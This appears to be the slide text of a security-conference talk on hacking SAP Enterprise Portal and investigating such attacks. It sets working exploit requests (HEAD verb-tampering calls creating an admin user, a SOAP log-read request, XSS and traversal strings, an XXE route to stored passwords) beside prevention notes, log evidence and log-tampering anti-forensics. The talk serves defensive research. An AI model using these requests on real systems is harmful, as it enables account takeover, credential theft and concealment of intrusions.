Invest in security to secure investments

SAP Portal: Hacking and forensics Dmitry Chastuchin – Director of SAP pentest/research team Evgeny Neyolov– Security analyst, (anti)forensics research

Dmitry Chastuhin

Business application security expert

Yet another security researcher

Evgeny Neyolov

ERPScan

Leading SAP AG partner in the field of discovering security vulnerabilities by the number of found vulnerabilities

• Developing software for SAP security monitoring • Leader by the number of acknowledgements from SAP • Invited to talk at more than 35 security conferences worldwide

BlackHat (US/EU/DC/UAE), RSA, Defcon, CONFidence, HITB, etc. • First to software for NetWeaver J2EE assessment • The only solution to assess all areas of SAP Security • Research team with experience in different areas of security from

ERP and web security to mobile, embedded devices, and critical infrastructure, accumulating their knowledge on SAP research.

Agenda

SAP security

SAP forensics WTF?!

Say hello to SAP Portal

Breaking SAP Portal

Catch me if you can

Conclusion

erpscan.com ERPScan — invest in security to secure investments 5

SAP

• The most popular business application • More than 180000 customers worldwide • More than 70% of Forbes 500 run SAP • More than 40% of ERP market in Poland

SAP security

Espionage Stealing financial information Stealing corporate secrets Stealing supplier and customer lists Stealing HR data

Fraud False transactions Modification of master data

Sabotage Denial of service Modification of financial reports Access to technology network (SCADA) by trust relations

erpscan.com ERPScan — invest in security to secure investments 7

SAP security

0

5

10

15

20

25

30

35

2006 2007 2008 2009 2010 2011 2012

• BlackHat • Defcon • HITB • RSA • CONFidence • DeepSec • Hacktivity • Troopers • Source

Source: SAP Security in Figures 2013

http://erpscan.com/wp-content/uploads/2012/06/SAP-Security-in-figures-a-global-survey-2007-2011-final.pdf

How easy? SAP Security Notes

http://erpscan.com/wp-content/uploads/2012/06/SAP-Security-in-figures-a-global-survey-2007-2011-final.pdf

Is it remotely exploitable?

http://erpscan.com/wp-content/uploads/2012/06/SAP-Security-in-figures-a-global-survey-2007-2011-final.pdf

> 5000 non-web SAP services exposed in the world including Dispatcher, Message server, SapHostControl, etc

sapSCAN.com

What about unpublished threats?

• Companies are not interested in publishing information about their breaches

• There are a lot of internal breaches thanks to unnecessarily given authorizations (An employee by mistake buys hundreds of excavators instead of ten)

• There are known stories about backdoors left by developers in custom ABAP code

• How can you be sure that, if a breach occurs, you can find evidence?

Typical SAP audit options

• ICM log icm/HTTP/logging_0 70% • Security audit log in ABAP 10% • Table access logging rec/client 4% • Message Server log ms/audit 2% • SAP Gateway access log 2%

% of companies (based on our security assessments and product implementations)

What do we see?

http://erpscan.com/wp-content/uploads/2012/06/SAP-Security-in-figures-a-global-survey-2007-2011-final.pdf

• A lot of research • Real attacks • Lack of logging practice • Many vulnerabilities are hard to close → We need to

monitor them, at least

What do we need to monitor? External attacks on SAP

Attack users and SAP GUI

SAP Portal and WEB

Exposed SAP services

SAP Router

Ideally, we should control everything, but this talk has limits, so let’s focus on the most critical areas

Awareness

Secure configuration and patch management

Disable them

•Too much issues and custom configuration •May be 0-days •Need to concentrate on this area

Say hello to Portal

• Point of web access to SAP systems • Point of web access to other corporate systems • Way for attackers to get access to SAP from the Internet • ~17 Portals in Poland, according to Shodan • ~11 Portals in Poland, according to Google

EP architecture

Okay, okay. SAP Portal is important, and it has many links to other modules. So what?

SAP J2EE Logging

Categories of system events recording: • System – all system related security and administrative logs. • Applications – all system events related to business logic. • Performance – reserved for single activity tracing. Default location of these files in your file system \usr\sap\<sid>\<id>\j2ee\cluster\<node>\log\ • The developer trace files of the Java instance <SID>\<instance name>\work • The developer trace files of the central services <SID>\<instance name>\work <SID>\<instance name>\log • Java server logs <SID>\<instance name>\j2ee\cluster\server<n>\log

http://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm

Full logging is not always the best option

SAP Management Console

SAP Management Console

• SAP MC - centralized system management • SAP MMC has remote commands • Commands are simple SOAP requests • Allowing to see the trace and log messages • It’s not bad if you only use it sometimes and

delete logs after use, but…

SAP Management Console

What we can find into logs?

Right! File userinterface.log contains calculated JSESIONID

But… Attacker must have credentials for reading log file

WRONG!

SAP Management Console

<?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">

<SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:ReadLogFile xmlns:ns1="urn:SAPControl"> <filename>j2ee/cluster/server0/log/system/userinterface.log</filename> <filter/> <language/> <maxentries>%COUNT%</maxentries> <statecookie>EOF</statecookie> </ns1:ReadLogFile> </SOAP-ENV:Body> </SOAP-ENV:Envelope>

Prevention

• Don’t use TRACE_LEVEL = 3 • Delete traces when work is finished • Limit access to dangerous methods • Install notes 927637 and 1439348 • Mask security-sensitive data in HTTP access log

http://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm

Prevention

• The HTTP Provider service can mask security-sensitive URL parameters, cookies, or headers

• By default, only for headers listed below • Path Parameter: jsessionid • Request Parameters: j_password, j_username, j_sap_password, j_sap_again,

oldPassword, confirmNewPassword,ticket • HTTP Headers: Authorization, Cookie (JSESSIONID, MYSAPSSO2)

http://help.sap.com/saphelp_nwce71/helpdata/en/79/77b142c444c96ae10000000a155106/content.htm

SAP NetWeaver J2EE

Access control

Web Dynpro - programmatic Portal iViews - programmatic J2EE Web apps - declarative

Programmatic By UME

Declarative By WEB.XML

Declarative access control

• The central entity in the J2EE authorization model is the security role.

• Programmers define the application-specific roles in the J2EE deployment descriptor

web.xml web-j2ee-engine.xml

web.xml

<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint>

Verb Tampering

Verb Tampering

• If we are trying to get access to an application using GET – we need a login:pass and administrator role

• What if we try to get access to application using HEAD instead GET?

• PROFIT!

• Did U know about ctc?

Verb Tampering

Need Admin account in SAP Portal? Just send two HEAD requests

• Create new user CONF:idence HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=CONF,PASSWORD=idence

• Add user CONF to group Administrators HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=CONF,GROUPNAME=Administrators

Works when UME uses JAVA database

Prevention

•Install SAP notes 1503579,1616259, 1589525, 1624450 •Install other SAP notes about Verb Tampering •Scan applications with ERPScan WEB.XML checker •Disable the applications that are not necessary

Investigation

[Apr 3, 2013 1:23:59 AM ] - 192.168.192.14 : GET /ctc/ConfigServlet HTTP/1.1 401 1790 [Apr 3, 2013 1:30:01 AM ] - 192.168.192.14 : HEAD /ctc/ConfigServlet HTTP/1.1 200 0 [Apr 3, 2013 1:30:01 AM ] - 192.168.192.14 : HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=CONF,PASSWORD=idence HTTP/1.0 200 0

j2ee\cluster\<node>\log\system\httpaccess\responses.trc

web.xml

<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> <http-method>HEAD</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint>

GET /admin/critical/CriticalAction

GET /servlet/com.sap.admin.Critical.Action Invoker servlet

Invoker Servlet

• Want to execute an OS command on J2EE server remotely?

• Maybe upload a backdoor in a Java class? • Or sniff all traffic ?

Still remember ctc?

Invoker Servlet

Prevention

• Update to the latest patch 1467771, 1445998 •“EnableInvokerServletGlobally” must be “false” • Check all WEB.XML files with ERPScan WEBXML checker

Investigation

#1.5#000C29C2603300790000003A000008700004D974E7CCC6D8#1364996035203#/System/Security/Audit#sap.com/tc~lm~ctc~util~basic_ear#com.sap.security.core.util.SecurityAudit#Guest#0#SAP J2EE Engine JTA Transaction : [024423a006e18]#n/a##217c5d309c6311e29bca000c29c26033#SAPEngine_Application_Thread[impl:3]_22##0#0#Info#1#com.sap.security.core.util.SecurityAudit#Plain###Guest | USER.CREATE | USER.PRIVATE_DATASOURCE.un:CONF | | SET_ATTRIBUTE: uniquename=[CONF]#

#1.5#000C29C2603300680002C97A000008700004D974E8354D1D#1364996042062#/System/Security/Audit/J2EE#sap.com/irj#com.sap.engine.services.security.roles.audit#Guest#182818##n/a##0c5bfef08bc511e287e6000c29c26033#Thread[Thread-50,5,SAPEngine_Application_Thread[impl:3]_Group]##0#0#Info#1#com.sap.engine.services.security.roles.audit#Java###{0}: Authorization check for caller assignment to J2EE security role [{1} : {2}].#3#ACCESS.OK#SAP-J2EE-Engine#guests#

Investigation

XSS

• Many XSSs in Portal

• But sometimes “httponly” • But when we exploit XSS, we can use the

features of SAP Portal

EPCF

EPCF

EPCF provides a JavaScript API designed for the client-side communication between portal components and the portal core framework

• Enterprise Portal Client Manager (EPCM) • iViews can access the EPCM object from every portal page

or IFrame • Every iView contains the EPCM object • For example, EPCF used for transient user data buffer for

iViews <SCRIPT>

alert(EPCM.loadClientData("urn:com.sap.myObjects", "person"); </SCRIPT>

Prevention

Install SAP note 1656549

Investigation

#Plain###192.168.192.26 : GET /irj/servlet/prt/portal/prtroot/com.sap.portal.usermanagement.admin.UserMapping?systemid=MS_EXCHANGEaaaa%3C/script%3E%3

Cscript%3Ealert(%27xSS%27)%3C/script%3E HTTP/1.1 200 3968#

j2ee\cluster\<node>\log\system\httpaccess\responses.trc

Webdynpro JAVA

• Webdynpro modifications • For example:

• somebody steals an account using XSS/CSRF/Sniffing • then tries to modify the severity level of logs

Webdynpro JAVA

http://help.sap.com/saphelp_nw70/helpdata/en/42/fa080514793ee6e10000000a1553f7/frameset.htm

Investigation

• No traces of change in default log files \cluster\server0\log\system\httpaccess\responses.log

• Webdynpro sends all data by POST, and we only see GET URLs in responses.log • But sometimes we can find information by indirect signs [Mar 20, 2013 9:35:49 AM ] - 172.16.0.63 : GET /webdynpro/resources/sap.com/tc~lm~webadmin~log_config~wd/Components/com.sap.tc.log_configurator.LogConfigurator/warning.gif HTTP/1.1 200 110

• Client loaded images from server during some changes

Investigation • Most actions have icons • They have to be loaded from the server • Usually, legitimate users have them all in cache • Attackers usually don’t have them, so they make requests to the server • That’s how we can identify potentially malicious actions • But there should be correlation with a real user’s activity • False positives are possible:

•New legitimate user •Old user clears cache •Other

Directory traversal

FIX

Directory traversal fix bypass

Prevention

Install SAP note 1630293

Investigation

/../

!252f..!252f

Breaking SAP Portal

• Found a file in the OS of SAP Portal with the encrypted passwords for administration and DB

• Found a file in the OS of SAP Portal with keys to decrypt passwords

• Found a vulnerability (another one ;)) which allows reading the files with passwords and keys

• Decrypt passwords and log into Portal • PROFIT!

Read file

How we can read the file? –Directory Traversal –OS Command execute –XML External Entity (XXE)

XXE in Portal: Details

• Injection of malicious requests into XML packets • Can lead to unauthorized file read, DoS, SSRF • There is an XXE vulnerability in SAP Portal • Can be exploited by modification of POST request • It is possible to read any file from OS and much more

XXE in Portal

XXE in Portal

XXE

Error based XXE

XXE in Portal: Result

• We can read any file • Including config with passwords • The SAP J2EE Engine stores the database

user SAP<SID>DB; its password is here: \usr\sap\<SID>\SYS\global\security\data\SecStore.properties

SecStore.properties

$internal/version=Ni4zFF4wMSeaseforCCMxegAfx admin/host/TTT=7KJuOPPs/+u+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fh jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ $internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt $internal/mode=encrypted admin/user/TTT=7KJuOPPs/+u+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E

But where is the key?

Get the password

• We have an encrypted password • We have a key to decrypt it

We got the J2EE admin and JDBC login:password!

Prevention

• Install SAP note 1619539 • Restrict read access to files SecStore.properties and SecStore.key

Investigation

POST /irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fadministrator!2fsuper_admin!2fsuper_admin_role!2fcom.sap.portal.content_administration!2fcom.sap.portal.content_admin_ws!2fcom.sap.km.AdminContent!2fcom.sap.km.AdminContentExplorer!2fcom.sap.km.AdminExplorer/ HTTP/1.1

Investigation

• The only one way to get HTTP POST request values is to enable HTTP Trace.

• Visual Administrator → Dispatcher → HTTP Provider → Properties: HttpTrace = enable. • For 6.4 and 7.0 SP 12 and lower: – On Dispatcher

/j2ee/cluster/dispatcher/log/defaultTrace.trc – On Server \j2ee\cluster\server0\log\system\httpaccess\responses.0.trc • For 7.0 SP13 and higher:

/j2ee/cluster/dispatcher/log/services/http/req_resp.trc

• And then you need to manually analyze all requests if there are any XXE attacks.

Malicious file upload: Attack

• Knowledge management allows to upload to the server different types of files that can store malicious content

• Sometimes, if guest access is allowed, it is possible to upload any file without being an authenticated user

• For example, it can be an HTML file with JavaScript that steals cookies

Malicious file upload: Attack

http://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm

Malicious file upload: Attack

Malicious file upload: Forensics

[Apr 10, 2013 2:26:13 AM ] - 192.168.192.22 : POST /irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fspecialist!2fcontentmanager!2fContentManager!2fcom.sap.km.ContentManager!2fcom.sap.km.ContentExplorer!2fcom.sap.km.ContentDocExplorer!2fcom.sap.km.DocsExplorer/documents HTTP/1.1 200 13968

[Apr 10, 2013 2:26:14 AM ] - 192.168.192.22 : GET /irj/go/km/docs/etc/public/mimes/images/html.gif HTTP/1.1 200 165

*Again, images can help us

Malicious file upload: Prevention

• Enable File Extension and Size Filter. • System Administration → System Configuration → Content Management →

Repository → Filters → Show Advanced Options → File Extension and Size Filter • you must select either the All repositories parameter, or at least one repository

from the repository list in the Repositories parameter. Otherwise, the filter is not created.

• Enable Malicious Script Filter. • System Administration → System Configuration → Content Management →

Repository → Filters → Show Advanced Options → Malicious Script Filter • the filter also detects executable scripts in files that are being modified and

encodes them when they are saved • enable Forbidden Scripts. Comma-separated list of banned script tags that will

be encoded when the filter is applied. • enable the Send E-Mail to Administrator option.

Portal post exploitation

• Lot of links to other systems in corporate LAN • Using SSRF, attackers can get access to these

systems

What is SSRF?

SSRF History: Basics

• We send Packet A to Service A • Service A initiates Packet B to service B • Services can be on the same or different hosts • We can manipulate some fields of packet B within

packet A • Various SSRF attacks depend on how many fields

we can control on packet B

Packet A

Packet B

Partial Remote SSRF: HTTP attacks on other services

HTTP Server Corporate network

Direct attack GET /vuln.jsp

SSRF Attack

SSRF Attack Get /vuln.jst

A B

Gopher uri scheme

• Using gopher:// uri scheme, it is possible to send TCP packets – Exploit OS vulnerabilities – Exploit old SAP application vulnerabilities – Bypass SAP security restrictions – Exploit vulnerabilities in local services

More info in our BH2012 presentation: SSRF vs. Business Critical Applications

http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-applications-whitepaper.pdf

Portal post-exploitation

Anti-forensics

Anti-forensics

• Flooding • Deleting • Changing • Disabling

Log flooding

• 5 active logfiles.{0-5}.log • Maximum file size is 10mb • If *.0.log -> max size => open *.1.log • If *.4.log -> max size => rewrite *.0.log again

Log deleting

• Flooding is the suspicious activity • The only one file log is locked for writing • It is possible to edit any other non-active log • Active log overflow => it becomes non-active • ?! • PROFIT!!1

Log changing

• Deleting compromises the attacker’s presence • Let’s try to erase only the attack traces • SAP locks write access to the only one active log • It is possible to edit other log file

Log archiving

• Archiving when all 5 logs reach the max size • SAP doesn’t care even about logs • Who cares about backups? he-he • “Overflow feature” still works • It is necessary to delete backups first

Log disabling

• Disabling the archiving is impossible • Related with many service logs - requires reboot • While you cannot disable archiving of logs… • You can disable logging • There still exists duplicate of HTTP log, but only

URL query • But it actually shows nothing specific • And yes, you still can delete it

Securing SAP Portal

• Patching • Secure configuration • Enabling HTTP Trace with masking • Malicious script filter • Log archiving • Additional place for log storage • Monitoring of security events

– Use your own scripts, parse common patterns – Use ERPScan , it has ALL EXISTING vulns/0day patterns

Conclusion

It is possible to protect yourself from these kinds of issues, and we are working close with SAP to keep customers secure

SAP Guides

It’s all in your hands

Regular security assessments

ABAP code review

Monitoring technical security

Segregation of Duties

Security events monitoring

Future work

I'd like to thank SAP's Product Security Response Team for the great cooperation to make SAP systems more secure. Research is always ongoing, and we can't share all of it today. If you want to be the first to see new attacks and demos, follow us at @erpscan and attend future presentations:

• June 5-6 – Presentation at RSA (Marina Bay Sands, Singapore) • September 10-12 – BlackHat Trainings (Istanbul, Turkey)

Web: www.erpscan.com e-mail: info@erpscan.com Twitter: @erpscan @_chipik @neyolov